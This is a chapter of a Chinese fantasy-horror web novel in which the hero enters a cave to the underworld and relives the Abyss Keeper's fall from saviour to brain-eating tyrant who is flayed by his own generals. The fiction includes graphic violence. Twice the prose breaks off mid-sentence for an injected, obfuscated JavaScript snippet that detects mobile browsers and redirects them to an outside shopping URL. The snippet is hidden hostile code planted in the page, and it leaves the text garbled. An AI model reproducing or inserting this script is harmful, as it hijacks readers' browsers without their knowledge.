“你要带我去哪里?”九如问,声音很轻。 童子没有回答。他只是抬起手,伸出枯瘦的食指,指向北方——黑风谷深处。指尖苍白,指甲灰黑。 “那里有什么?” 童子依然沉默。但他的嘴唇嚅动了一下,没有声音发出,九如却“听”到了——不是通过耳朵,而是直接响在脑海里的一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109781|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话: 血光冤债,彼岸花开。 话音落下的瞬间,童子怀中的芦苇穗子突然爆出一团红光。那光不刺眼,却粘稠如血,迅速弥漫开来,将童子和九如笼罩其中。 “九如——!” 烈风煌的怒吼从红光外传来,却仿佛隔着一层厚重的水幕,模糊不清。九如想回应,却发现自己发不出声音。身体变得轻盈,像要飘起来。视线开始模糊,童子的身影在红光中逐渐扭曲、拉长,最后化作一道灰色的影子,向北方飘去。 九如下意识想跟上,却动弹不得。 就在这时,怀中的镇魂蛇核心突然爆发出前所未有的灼热。那热度几乎要将他的胸膛烧穿,与此同时,承影剑在鞘中发出震耳欲聋的嗡鸣——不是之前的微弱感应,而是愤怒的、抗拒的咆哮。 红光被撕开一道口子。 一道剑光斩破血色,如黑夜中劈开的闪电,直直刺向童子。那不是烈风煌的刀,也不是白砚的法术,而是承影剑——它自己出鞘了! 剑身依然黯淡,剑锋却亮得刺眼。它脱离九如的控制,像有自己的意志般,在空中划出一道完美的弧线,斩向童子怀中的芦苇。 童子第一次有了反应。 他全白的眼睛里闪过一丝——惊恐?不,更像是“意外”。他急速后退,身形飘忽如鬼魅,可承影剑如影随形,剑尖始终锁定那根芦苇。 终于,剑锋触及芦苇。 没有金属碰撞声,没有断裂声,只有一声极轻的、仿佛叹息的“嗤”响。 芦苇从中间断成两截。 顶端的鲜红穗子瞬间枯萎,化作灰烬飘散。童子发出一声无声的尖叫——九如“听”见了,那尖叫直接刺进灵魂,尖锐痛苦——然后,他的身体开始变得透明,像晨雾遇见了阳光,迅速消散。 最后消失的,是那双全白的眼睛。 它们深深地“看”了九如一眼,眼神复杂得难以形容:有怨恨,有不甘,还有一丝……解脱? 红光散去。 九如跌坐在地,大口喘气。承影剑插在他身前的地上,剑身彻底黯淡,连最后一丝灵光都熄灭了,仿佛刚才那一剑耗尽了它全部的力量。剑柄上,九如握住的地方,传来阵阵刺痛——那是灵力透支的反噬。 烈风煌第一个冲过来,一把抓住九如的肩膀,力道大得几乎要捏碎骨头:“你疯了?!你知道刚才有多危险?!” 白砚也快步上前,蹲下身检查九如的情况,脸色凝重:“黄泉引路童子不会轻易退却。承影剑那一剑……斩断的不是芦苇,是‘引渡’的契约。九如,你的剑到底是什么来历?” 芒种扑过来,抱住九如的胳膊,哭得上气不接下气:“吓死我了……我以为你要死了……” 九如看着插在地上的承影剑,又看看童子消失的地方——那里空无一物,连灰烬都没留下,仿佛刚才的一切都是幻觉。只有空气中残留的、若有若无的阴冷气息,证明那不是梦。 “他……最后说了一句话。”九如缓缓道,声音嘶哑,“血光冤债,彼岸花开。” 白砚的脸色变了。 “彼岸花……开在黄泉路旁,指引亡魂的花。”他低声道,“这句话的意思是……你的‘血光冤债’,需要去黄泉路上了结?还是说……你本就来自那里?” 没有人能回答。 烈风煌扶起九如,目光扫向前方——黑风谷深处,雾气更浓了,几乎看不清三丈外的景象。但隐约能看见,谷道蜿蜒向北,通向不知名的黑暗。 “还要继续走吗?”烈风煌问,语气难得地出现了迟疑。 九如沉默良久。 他弯腰,握住承影剑柄。剑身冰凉,再无半点回应。他把它收回鞘中,然后看向北方。 “走。”他说,声音不大,却异常坚定,“无论我是谁,无论我欠下什么债,我都要找到答案。而答案……就在北方。” 白砚叹了口气,却也没反对。他看向自己手臂——衣袖下,反噬魂咒的疼痛越来越频繁,留给他的时间真的不多了。 芒种擦干眼泪,小声说:“那、那我也去。” 四人重新上路。 这一次,气氛更加凝重。每个人都心事重重:九如想着黄泉童子的话,烈风煌警惕着随时可能出现的危险,白砚计算着魂咒发作的时间,芒种努力压抑着恐惧。 而黑风谷,仿佛因为刚才那一场对峙,彻底“活”了过来。 雾气中开始出现声音:不是风声,不是水声,而是低语。无数个声音混杂在一起,听不清内容,却能感受到其中的情绪——怨恨,痛苦,迷茫,还有对生者刻骨的嫉妒。 两边的山崖上,偶尔能看见影子一闪而过。有时是人形,有时是兽状,有时是根本无法形容的扭曲存在。它们不靠近,只是远远地“看”着,那目光像冰冷的针,刺在背上。 路越来越难走。地面不再是碎石,而是一种粘稠的、仿佛会呼吸的黑色泥土,踩上去会微微下陷,拔出脚时发出“啵”的轻响,像在吮吸。 走了约莫半个时辰,前方出现了一点光。 不是阳光——谷中的光线始终昏暗如黄昏——而是一种幽蓝色的、冷冰冰的光。光是从一个洞口透出来的,洞口开在右侧山壁上,不大,仅容一人通过。 洞口上方,刻着三个字。 字迹斑驳,几乎被苔藓覆盖,但依稀能辨认: 往生洞。 白砚停下脚步,脸色苍白如纸:“往生洞……传说中连接人间与幽冥的通道之一。活人进去,要么永世沉沦,要么……脱胎换骨。” 烈风煌冷笑:“又是幽冥?今天跟死人杠上了?” 九如看着那个洞口。幽蓝的光从里面透出来,带着一种致命的吸引力。怀中的镇魂蛇核心又开始发烫,承影剑在鞘中微微震动——不是抗拒,而是一种指向。 仿佛在说:进去。 “婆婆说朝北走。”九如缓缓道,“童子也指向北方。而这个洞……就在正北方向。” 他顿了顿,看向同伴:“我要进去看看。你们——” “少废话。”烈风煌打断他,直接朝洞口走去,“要进一起进。我倒要看看,里面有什么妖魔鬼怪。” 白砚苦笑:“我还有选择吗?”他跟上烈风煌。 芒种咬着嘴唇,抓住九如的手:“九如哥哥去哪,我就去哪。” 九如看着他们,心头涌起一股复杂的情绪——温暖,愧疚,还有某种沉甸甸的责任感。 他深吸一口气,率先踏入洞口。 幽蓝的光瞬间吞没了他。 洞内比想象中宽敞。不是天然洞穴,更像是人工开凿的甬道,墙壁光滑,刻满密密麻麻的符文。那些符文九如一个都不认识,却莫名觉得熟悉——就像在梦里见过无数次。 光是从墙壁本身发出来的。幽蓝色,冰冷,没有温度。照在脸上,皮肤会泛起一种诡异的透明感,仿佛能看见下面的血管和骨骼。 甬道很长,深不见底。脚步声在寂静中回荡,被墙壁吸收、放大,变成空洞的回响,像无数人在身后跟着走。 走了约莫百步,前方豁然开朗。 是一个巨大的洞窟。 洞窟中央,没有想象中的妖魔鬼怪,没有黄泉路,也没有彼岸花。 只有一口井。 井口由白玉砌成,边缘光滑如镜。井中无水,只有深不见底的黑暗。而从井口涌出的,是浓郁的、几乎凝成实质的死气。 死气在洞窟中盘旋,形成一个个模糊的人形。它们无声地飘荡,面无表情,眼神空洞,正是外面雾气中那些影子的源头。 而在井口正上方,悬浮着一件东西。 那是一块令牌。 令牌漆黑,非金非木,正面刻着一个字: 渊。 九如的呼吸骤然停止。 怀中的镇魂蛇核心烫得像要燃烧起来。承影剑在鞘中剧烈震动,几乎要挣脱控制。 那个字…… 那个“渊”字…… 在他的记忆碎片里,出现过无数次。 每一次,都伴随着金瞳白发的幻影,伴随着无尽的黑暗,伴随着那句反复回响的低语: “当镇魂之瞳映照归墟,门扉将为真实之血开启。” 而现在,在这口通往幽冥的往生井上方,悬浮着刻有“渊”字的令牌。 一切线索,仿佛在这一刻串联起来。 守渊者。 深渊之门。 镇魂蛇核心。 黄泉引路童子。 往生洞。 还有这口井,这块令牌。 九如缓缓上前,每一步都像踩在刀刃上。他伸出手,指尖颤抖,却坚定地伸向那块悬浮的令牌。 身后,烈风煌的警告,白砚的劝阻,芒种的惊呼,都变得遥远模糊。 他的指尖,触到了令牌的边缘。 冰冷。 刺骨的冰冷,仿佛要将灵魂冻结。 然后—— 令牌化作一道黑光,没入他的掌心。 与此同时,往生井中,传出了一声悠长的、仿佛跨越了千年万年的叹息。 “你终于……来了。” 那声音,与记忆中金瞳白发幻影的声音,一模一样。 17. 人间桥,黄泉路 九如死过那么多次。 在绿洲的毒瘴里窒息过,在什刹海的漩涡中沉没过,在桃花村的祭坛上被剜心过,在昆丘山的黑塔顶坠亡过。每一次重生,记忆便碎裂一些,像打翻的琉璃盏,拾起的碎片再也拼不回完整的过往。 可从未有一次,如现在这般,如此直面地、赤裸地、不容逃避地感受到死亡的距离。 那不是□□的消亡——那太轻了,轻得像褪下一件旧衣。这是灵魂层面的湮灭,是存在本身的否定,是站在悬崖边缘低头看,脚下不是万丈深渊,而是虚无。 彻底的、永恒的、连“存在过”的痕迹都不会留下的虚无。 令牌化作黑光没入掌心的瞬间,九如没有感到疼痛,也没有感到力量的灌注。他只感到冷。一种从骨髓深处渗出的、连灵魂都能冻结的寒冷。那冷不是温度,而是质感——像无数双死者的手,从时间的彼端伸来,攥紧他的心脏,拖着他向下沉。 向下沉,沉进往生井无底的黑暗里。 不,不是黑暗。 是记忆。 是他寻找了无数轮回、破碎了千百次也拼凑不齐的,属于“守渊者”的记忆。 第一个画面是战场。 不是小规模的冲突,不是门派间的争斗,而是真正的、尸山血海的战争。天空是铁灰色的,压得很低,仿佛随时会塌下来。大地被鲜血浸透成暗红色,黏稠得能淹没脚踝。空气中弥漫着硝烟、血腥和尸体腐烂的甜腥气,浓得化不开。 战场上没有“人”。 只有恶鬼。 不,连恶鬼都不如。恶鬼尚有形貌,这里的厮杀者连基本的“形”都失去了。他们穿着破烂的甲胄——如果那还能叫甲胄的话,只是些锈蚀的铁片用草绳胡乱捆在身上。手中的兵器更是千奇百怪:断刀,折矛,甚至还有磨尖的骨头。他们嘶吼着,咆哮着,眼睛红得像要滴出血来,不是为了荣耀,不是为了信仰,仅仅是为了活着。 活到下一个日出。 一个身材高大的士兵将对手按倒在地,用石头砸碎了对方的头颅。脑浆混着鲜血溅了他满脸,他却咧嘴笑了,露出黄黑的牙齿。然后他抓起那颗破碎的头颅,高举过头,对着灰蒙蒙的天空发出一声野兽般的嚎叫。 远处,一面残破的红旗在硝烟中摇晃。旗手已经死了,胸口插着三支箭,可旗杆还被他死死攥在手里。风吹过,红旗招展,像一抹干涸的血痕。 战争结束了。 没有人欢呼,没有人庆祝。幸存者像行尸走肉般在尸堆里翻找,寻找还能用的兵器,寻找死人口袋里可能藏着的半块干粮。偶尔有人找到亲人的尸体,也不哭,只是呆呆地看着,然后继续翻找。 然后他出现了。 九如“看”不见他的脸——记忆的视角很奇怪,有时是第一人称,有时又是旁观。但能看见他的身影:高挑,挺拔,穿着一身简单的白色布衣,在尸山血海中干净得格格不入。 最重要的是他的眼睛。 金瞳。 像熔化的黄金,像正午的太阳,在灰暗的天地间亮得灼眼。而他的头发是银白色的,不是老人的灰白,而是一种皎洁的、仿佛流淌着月光的银白,长及腰际,用一根草绳随意束着。 他手中握着一柄剑。 九如的心猛地一抽——那是承影。不是现在这把灵力耗尽、黯淡无光的残剑,而是完整的、光华流转的、剑身透明如水晶的真正神兵。剑锋所过之处,没有杀气,只有一种悲悯的、仿佛在超度亡魂的柔和光芒。 守渊者走向战场。 他走过那些还在尸堆里翻找的士兵。有人警惕地举起武器,有人下意识后退,有人茫然地看着他。守渊者没有攻击任何人。他只是蹲下身,将一个被压在尸体下、还剩一口气的少年拖出来。少年的一条腿断了,白骨戳出皮肉,他疼得浑身抽搐,眼神却麻木得像死鱼。 守渊者将手按在少年断腿处。 金光流淌。 不是法术,不是医术,而是一种更本源的力量——生命的力量。断骨接续,伤口愈合,少年惨白的脸上渐渐有了血色。他呆呆地看着守渊者,看着那双金瞳,看着那柄光华流转的剑,然后“哇”的一声哭出来,像个受尽委屈的孩子。 哭声像导火索,点燃了战场上压抑已久的情绪。 还活着的人开始哭。不是嚎啕,而是压抑的、从喉咙深处挤出来的呜咽。有人跪倒在地,朝着家乡的方向磕头;有人抱着亲人的尸体,一遍遍喊着名字;有人仰天嘶吼,质问苍天为何如此不公。 守渊者站起来,承影剑高举过头。 剑光如旭日东升,驱散了天空的阴霾。阳光第一次洒在这片血腥的战场上,照亮了尸山血海,也照亮了幸存者脸上的泪痕。 “万物有灵。”守渊者的声音清朗,不高,却清晰地传到每个人耳中,“生而平等。不惧强大,不欺弱小。众生皆苦——不可怨,不可叛。” 他说得很慢,每个字都像刻进空气里。 “从今日起,我来结束这场战争。” 第二个画面是高塔。 不是一座,是无数座。用粗糙的石头和泥土垒砌的简陋塔楼,像墓碑般林立在大地上。塔楼没有窗,只有狭窄的缝隙,能看见里面挤满了人——老人,孩子,妇人,病患。他们瘦得皮包骨头,眼睛大得吓人,透过缝隙往外看,眼神里没有希望,只有麻木的绝望。 塔楼外,士兵举着火把。 一个将领模样的人挥手下令。 火把扔向塔楼。塔身涂抹了油脂和干草,遇火即燃。火焰迅速蔓延,吞噬了整座塔楼。塔里传来凄厉的哀嚎——那不是人声,是野兽垂死时的尖叫。有人试图从缝隙里挤出来,身体卡在半途,被火焰舔舐,皮肉焦黑剥落,露出下面的白骨。 一座,两座,三座…… 火焰连成一片,将天空映成地狱般的橘红色。焦臭味弥漫开来,混着人肉烧熟的气味,令人作呕。 守渊者站在火焰前。 他还是那身白衣,纤尘不染。金瞳里倒映着冲天火光,眼神平静得像在看一场无关紧要的戏。直到一个塔楼里伸出一只小手——那是个孩子的手,瘦小,脏污,朝着他的方向无力地抓挠。 守渊者动了。 承影剑出鞘。 没有惊天动地的剑气,没有华丽炫目的招式。他只是提着剑,走向那些燃烧的塔楼。剑锋所过之处,火焰熄灭。不是被扑灭,而是像被某种力量强行抹去,连灰烬都不剩。塔楼的石块崩解,露出里面蜷缩的幸存者。 士兵们惊恐地看着他。有人举着长矛刺来,守渊者甚至没有回头,剑鞘向后一击,那人便飞出去数丈,昏死过去。 他走到那个伸出小手的塔楼前,一剑劈开塔身。里面蜷缩着一个五六岁的女孩,浑身烧伤,气息奄奄。守渊者抱起她,金光从掌心涌出,包裹住女孩的身体。烧伤以肉眼可见的速度愈合,女孩睁开眼,看见那双金瞳,没有哭,反而笑了。 “神仙……”她小声说。 守渊者摸了摸她的头,然后转向那些士兵。 他走向那个下令烧塔的将领。将领吓得连连后退,却发现自己动弹不得——不是被定身,而是被某种无形的威压慑住了魂魄。 守渊者举起承影剑。 剑锋抵在将领咽喉。 “为什么?”守渊者问,声音很轻,却让在场每个人都听得清清楚楚,“他们只是老人、孩子、病人。他们没有武器,没有反抗的能力。为什么连一条活路都不给?” 将领嘴唇哆嗦,说不出话。 守渊者没有等答案。剑锋一抹,将领的喉咙喷出血,倒地气绝。 然后他看向其他士兵。 那些士兵早已跪了一地,磕头如捣蒜,喊着“饶命”“神仙饶命”。 守渊者收剑归鞘。 “从今日起,”他说,声音传遍四野,“谁敢再欺压弱小,谁就是我的敌人。” 记忆的洪流继续奔涌。 追随守渊者的人越来越多。他们来自不同的部族,不同的阶层,有的是战场上的幸存者,有的是从塔楼里救出的难民,有的是听闻传说前来投奔的理想主义者。他们奉守渊者为“神主”,坚信他能带来永久的和平与公正。 守渊者也确实做到了。 他带着这些人,走遍战火肆虐的大地。每到一处,便惩治为恶的权贵,解散私兵,重新分配土地和资源。他不建立王朝,不设立官职,只是以个人的威望和力量,强行将扭曲的秩序扳正。 “恢复到同一个起点。”这是他的理念,“让每个人都有平等的机会,凭自己的努力活下去。” 他做到了。 至少在很长一段时间里,战乱平息了,饥荒缓解了,普通人终于能喘一口气。人们为他立庙,塑像,编撰歌谣传唱他的功德。孩子们玩耍时会模仿他的动作,少年们梦想着成为他那样的英雄。 九如能感受到守渊者内心的情绪。 一开始是纯粹的悲悯和责任感。看着生灵涂炭,他无法袖手旁观。然后是成就感——当他救下一个人,平定一处战乱,那种“我做到了”的满足感。再后来,是骄傲。人们的崇拜,追随者的忠诚,世界的改变……这些都让他确信,自己走在正确的道路上。 他甚至开始享受这种被需要的感觉。 当绝望的人跪在他面前哭诉,他能给予希望;当暴虐的统治者作威作福,他能一剑斩之;当天地不仁,他能以一人之力扭转乾坤。 他是奇迹的化身,是绝境中的生路,是所有生灵的救世主。 渐渐地,人们不再满足于“追随”。他们开始依赖。 天旱了,不去挖渠引水,而是求守渊者施法降雨。 有疫病,不去研制药材,而是求守渊者祛除病魔。 邻里纠纷,不去找长老调解,而是求守渊者主持公道。 甚至连庄稼该什么时候播种,孩子该取什么名字,都要来问他。 守渊者来者不拒。 他太强了。强到以为自己真的无所不能。降雨?掐个法诀就能引来乌云。治病?渡一缕生机就能起死回生。调解纠纷?看一眼就能分辨真假对错。 他享受着这种被完全依赖的感觉。那让他觉得自己是必要的,是不可或缺的,是这个世界唯一的支柱。 然而世上从没有完美的人。 神也不行。 那天是个晴天。 寻常的、阳光明媚的晴天。守渊者从睡梦中醒来,睁开眼—— 黑暗。 不是夜晚的那种黑暗,而是彻底的、连一丝光感都没有的虚无。他以为自己还在梦中,用力眨了眨眼,伸手在面前挥动。 看不见。 他坐起身,摸索着下床,撞翻了床边的水盆。水泼了一地,他赤脚踩上去,冰凉刺骨。 “来人!”他喊道,声音里有一丝自己都没察觉的颤抖。 侍从推门进来,看见他茫然地站在地上,眼神空洞地“望”着前方,吓得手里的托盘都掉了。 “大人……您的眼睛……” 守渊者抬手,摸向自己的眼眶。眼皮还在,眼球还在,可就是看不见。黑暗像一块厚重的绒布,严严实实地蒙住了他的世界。 恐慌。 那种久违的、属于凡人的恐慌,像冰冷的蛇,钻进他的心脏,缠绕收紧。他不是神吗?不是无所不能吗?怎么会……瞎了? 医师请了一个又一个。有白发苍苍的老神医,有号称能沟通鬼神的巫医,有从海外远道而来的异族医师。他们诊脉,观气,施针,用药,最后都摇头。 “脉象正常,气血充盈,五脏六腑皆无病患。”老神医捻着胡须,眉头紧锁,“这失明……来得毫无道理。” “怕是……伤了天和。”一个巫医小心翼翼地说,“大人这些年征战四方,杀人无数——虽是为救更多人,但杀孽终究是杀孽。上天降下惩罚,收回您的‘视’之能,也是可能的。” 这话触动了守渊者内心最深处的恐惧。 他不是不知道史书上的先例。那些曾经叱咤风云的将领、君王,晚年往往遭遇各种不幸:失明,瘫痪,疯癫,被亲人背叛,被历史遗忘。仿佛冥冥中真有某种“平衡”,你得到多少,就要失去多少。 他不想成为那样。 不想后半辈子拄着拐杖,在黑暗里摸索,被人们渐渐遗忘,最后化作史书上一行冰冷的文字:“某某,曾有功于民,晚年失明,郁郁而终。” 他要治好眼睛。 不惜一切代价。 食人脑的传说是从一本古籍里找到的。 那书破旧不堪,用某种兽皮制成,文字歪歪扭扭,像虫爬。里面记载了许多偏方邪术,其中一页写着:“目盲者,取生人脑髓和药服之,七日可复明。” 守渊者第一反应是恶心。 他是救人的人,是庇护弱者的人,怎么能做这种邪魔外道的事?他把书扔了,可那句话像毒藤,在他心里扎根,蔓延。 他先试了替代品。 猴脑。 猴子与人相近,或许有用。他命人捉来活猴,当场开颅取脑,混着药材捣碎服下。味道腥膻,他强忍着呕吐感吞下去。 没效果。 黑暗依旧。 他不死心,又试了猩猩脑,猿脑,甚至找来一些开了灵智的妖兽。统统没用。 绝望像潮水,一天天上涨,淹没他的理智。 直到那天,一个追随他多年的老兵跪在他面前。 那老兵从战场时代就跟着他,断了条胳膊,脸上有道狰狞的伤疤。他听说守渊者在寻找治疗眼疾的方法,便自愿献出自己。 “大人,”老兵磕头,声音平静,“我这条命是您救的。这些年跟着您,见了太平日子,值了。我老了,没用了,如果能用我这没用的脑子,换您重见光明,继续带领大家,我死也甘心。” 守渊者颤抖着拒绝。 可老兵是认真的。他甚至自己准备了刀和碗,趁守渊者不注意,一刀刺进自己的太阳穴。脑浆混着血流进碗里,他还努力挤出一个笑容:“大人……快……趁热……” 守渊者看着那碗温热的、还在微微颤动的脑髓。 黑暗,永恒的黑暗。 人们的期待,世界的需要,自己的骄傲…… 他端起碗,闭眼,仰头灌了下去。 腥,咸,滑腻,像活物般顺着喉咙往下钻。 然后—— 光。 一丝微弱的光感,像浓雾深处透出的一星灯火。虽然模糊,虽然短暂,但确实是光。 他看见了。 虽然只有短短三息,虽然视野里的一切都扭曲变形,但他确实看见了跪在地上的老兵尸体,看见了碗沿残留的脑浆,看见了窗外透进来的、久违的阳光。 希望。 疯狂的、不顾一切的希望。 一发不可收拾。 有了第一次,就有第二次。第三次。第四次。 一开始还是自愿者——那些受过他恩惠,真心愿意为他牺牲的人。后来,自愿者不够了。守渊者便用别的方式:重金悬赏,许诺厚待家人,甚至暗示这是“奉献”和“荣耀”。 再后来,连这种方式也难以为继。 他便开始秘密抓捕。 抓流浪汉,抓逃犯,抓那些无亲无故、消失了也不会有人在意的人。他告诉自己:这是必要的牺牲。为了他能继续看见,继续领导大家,维持这个好不容易得来的和平世界。 可他心里清楚,这已经与最初的理念背道而驰。 不,是彻底背叛。 他曾经说“万物有灵,生而平等”,现在却为了自己的眼睛,将人命视作药材。 他曾经说“不惧强大,不欺弱小”,现在却专挑最弱势的群体下手。 他曾经说“众生皆苦——不可怨,不可叛”,现在自己却成了最大的怨与叛。 但他停不下来。 失明的恐惧太深了。那种坠入永恒黑暗的绝望,比死亡更可怕。而脑髓带来的短暂光明,像毒品,让他上瘾。他需要越来越多的剂量,越来越频繁的服用。 追随他的人开始察觉不对劲。 为什么大人总是闭门不出?为什么每隔几天就有人神秘失踪?为什么大人的房间里总飘出奇怪的腥味? 流言开始滋生。 有人说大人修炼邪功走火入魔;有人说大人被妖魔附体;最接近真相的一种说法是:大人需要吃人才能维持神力。 恐慌蔓延。 曾经最忠诚的追随者,开始用怀疑的眼神看他。曾经将他奉若神明的百姓,开始窃窃私语。那些被他惩治过的权贵残余势力,趁机煽风点火。 守渊者感觉到了。 他开始频繁地带人外出“巡逻”,征讨“残余叛军”。这样能转移视线,也能用战功重新凝聚人心。更重要的是,战场上总有死人——那些敌人的脑子,也可以拿来用。 但这终究是饮鸩止渴。 真相大白的那天,也是个晴天。 和失明那天一样,阳光灿烂,万里无云。守渊者刚服下一碗新鲜的脑髓——这次是个年轻的叛军俘虏,眼神倔强,直到最后一刻都在咒骂他——正躺在榻上,享受着短暂的光明。 门被撞开了。 不是侍从,不是护卫,而是他曾经最信任的几个将领。他们脸上没有往日的恭敬,只有愤怒、失望和恐惧。 “大人,”为首的将领声音颤抖,“我们……找到了地窖。” 守渊者的心沉了下去。 地窖里藏着什么,他比谁都清楚。那些还没来得及处理的尸体,那些取脑用的工具,那些装脑髓的瓶瓶罐罐。 他没有辩解。 辩解已经没有意义。他看着那些曾经跪在他面前宣誓效忠的人,现在拿着武器,一步步逼近。阳光从窗外照进来,落在他脸上,暖洋洋的,可他只觉得冷。 “为什么?”一个年轻将领哭喊着,“您是我们信仰的一切啊!您怎么能……怎么能……” 守渊者张了张嘴,想说“我也不想”,想说“我是为了大家”,想说“我停不下来”。 但最终,他只是闭上了眼。 “动手吧。” 他没有反抗。 不是不能——即使失明,即使状态不佳,他依然是那个能一剑斩破战场的守渊者。但他累了。累于谎言,累于背叛,累于日复一日在黑暗与光明之间挣扎。 更重要的是,他对自己感到恶心。 所以当那些刀剑加身时,他没有运功抵挡。骨头碎裂的声音很清脆,从脊椎开始,一节一节,被重锤砸碎。然后是四肢,被铁棍反复敲打,直到变成软塌塌的肉泥。手脚筋被挑断时,他甚至感觉不到疼——麻木了。 最后,是脸。 一把锋利的小刀,贴着他的额头发际线,缓缓割开皮肤。疼痛这时才汹涌而来,像岩浆灌进血管。他忍不住惨叫,可喉咙早被血沫堵住,只能发出“嗬嗬”的气音。 皮肉分离的声音,像撕开一块浸湿的绸布。 他的脸,那张曾经被无数人仰望、被塑成神像、被传唱歌谣的脸,被完整地剥了下来。 将领提着那张鲜血淋漓的面皮,手在颤抖,眼神却狂热。 “从今天起,”他嘶声道,“守渊者可以是任何人。” 只要有这张面皮。 只要戴上它,谁就能继承守渊者的威望,号令那支战无不胜的军队,掌控那些盲目崇拜的民心。 他们真的这么做了。 面皮被精心鞣制,制成一张完美的人皮面具。第一个戴上面具的,就是那个剥皮的将领。他模仿守渊者的举止,模仿他的语气,甚至找来医师用药改变自己的眼睛颜色——虽然做不到金瞳,但至少是罕见的淡金色。 人们相信了。 或者说,他们愿意相信。毕竟“守渊者吃人”的真相太可怕,他们宁愿接受“大人只是闭关修炼,现在出关了”的解释。 戴上面具的冒牌货,带着军队东征西战。他们打穿了蓬莱仙岛,降服了阿尔默族,将版图扩张到前所未有的广度。守渊者的传说,被推上了神坛的最高处。 而真正的守渊者呢? 他被扔进了黄泉路。 不是比喻。那些背叛者不知从哪找到了连接幽冥的通道,将废人般的他扔了进去。黄泉路,亡魂归处,活人禁地。他被无数白骨化作的丝线缠绕,悬挂在路的中央,下方是沸腾的忘川河水,上方是永远灰暗的天空。 他没有死。 也活不了。 就这样悬在那里,一日复一日,一年复一年。看着忘川河里的亡魂挣扎,看着黄泉路上的新鬼哭嚎,看着人间偶尔有误入此地的生者,被他吓破胆,连滚带爬地逃出去。 他搭建了“人间桥”。 用自己残存的力量,在黄泉路的边缘,架起一座虚幻的桥梁。桥的一端连着幽冥,一端伸向人间。他引导那些误入黄泉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109782|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的弱小亡魂——大多是孩子和老人——走过这座桥,送他们回人间,给他们一次重入轮回的机会。 就像他曾经在战场上做的那样。 就像他曾经在高塔前做的那样。 救赎。 尽管他自己早已不值得救赎。 九如站在人间桥上。 不,不是“站”。他的身体是半透明的,像一团雾气凝成的人形。脚下是虚幻的桥面,桥下是奔涌的忘川河,河里有无数只手伸出水面,朝着他抓挠、哭诉、诅咒。 他抬头,看向黄泉路的中央。 那里悬着一颗巨大的、还在微微搏动的猴脑。 不,不是猴脑。虽然形态近似,但那大小远超任何生灵,直径足有丈余,表面布满蜿蜒的血管和沟回。脑组织是半透明的灰白色,能看见里面流淌着暗金色的光——那是守渊者残存的神魂。 无数白骨化作的丝线,从四面八方延伸过来,刺入脑体,像提线木偶的线。每一根丝线,都连着一个亡魂的执念,一份人间的祈愿,一段血腥的记忆。 猴脑缓缓“转”向他——没有眼睛,没有五官,但九如能感觉到它在“看”自己。 “你……”九如开口,声音在空旷的黄泉路上回荡,“你就是守渊者?” 猴脑没有回答。 但一段记忆直接灌入九如的识海: 那是他被剥皮碎骨后,扔进黄泉路的瞬间。白骨丝线刺穿他残破的身体,将他悬挂起来。剧痛,绝望,还有……释然。 终于结束了。 所有的谎言,所有的罪孽,所有的期望与失望,都结束了。 他可以在这里永恒地悬着,做一座连接阴阳的“桥”,送那些误入的亡魂回家。这是赎罪,也是解脱。 直到有一天,他感觉到“自己”离开了。 不是死亡,而是分裂。一部分神魂——最纯粹的那部分,剥离出去,投向了人间。那部分神魂没有记忆,只有最本能的执念:寻找金瞳白发之人。 寻找守渊者。 寻找自己。 然后一次又一次地重生,死去,再重生。每一次都试图唤醒黄泉路上这具残骸,每一次都失败。因为守渊者不愿醒来。 不愿再面对那个食人脑的自己,不愿再背负“神主”的期望,不愿再回到那个人人依赖他、又最终背叛他的人间。 九如颤抖起来。 那些记忆碎片——战场,高塔,失明,脑髓,剥皮——原来都是他自己的过去。他不是在“寻找”守渊者,他就是守渊者的一部分。是那个理想主义的、悲悯众生的、还未堕落的初心。 他被分裂出来,不断重生,不断赴死,不断救人,就是为了有一天能回到这里,唤醒这具残骸,让守渊者完整。 可他失败了那么多次。 每一次重生,记忆就破碎一些。每一次死亡,离真相就更远一些。直到这一次,他遇见了白砚、烈风煌、芒种,走过了桃花村、圆合城、白骨岛,来到了黑风谷,拿到了“渊”字令牌,才终于走到了黄泉路,站在了守渊者面前。 “你不能走……”九如喃喃道,眼泪流下来——魂体没有眼泪,那是纯粹悲伤的凝结,“你走了,人心就散了……那些还相信着你的人,那些需要希望的人……” 猴脑微微颤动。 白骨丝线哗哗作响,像风铃。 一个声音,直接在九如灵魂深处响起。那声音苍老,疲惫,却又透着一种洞彻世事的清明: “人心不是从我这聚的,也不会从我这散。” “九如,你看那些丝线。” 九如看向那些连接猴脑的白骨丝线。每一根都延伸向无尽的虚空,另一端系着人间的某个执念:有人祈求平安,有人渴望复仇,有人思念亡故的亲人,有人祈祷风调雨顺…… “这些丝线,”守渊者的声音继续道,“不是连着我,而是连着他们自己的心。他们将自己的希望、恐惧、欲望,投射到一个虚幻的‘神’身上,以为这样就能得到解脱。可我给不了。” “我曾经以为我能。我给了他们和平,给了他们公正,给了他们一个‘公平的起点’。可结果呢?他们开始依赖,开始索取,开始将我神化。当我不能满足他们所有的期待时,他们就恐惧、猜疑,最后……背叛。” “这不是他们的错,也不是我的错。这是人性。” 猴脑的搏动缓慢而沉重。 “九如,你不是我。不要成为我。” “我选择了留在这里,做这座‘桥’,送那些误入黄泉的亡魂回家。这是我的赎罪,也是我的归宿。” 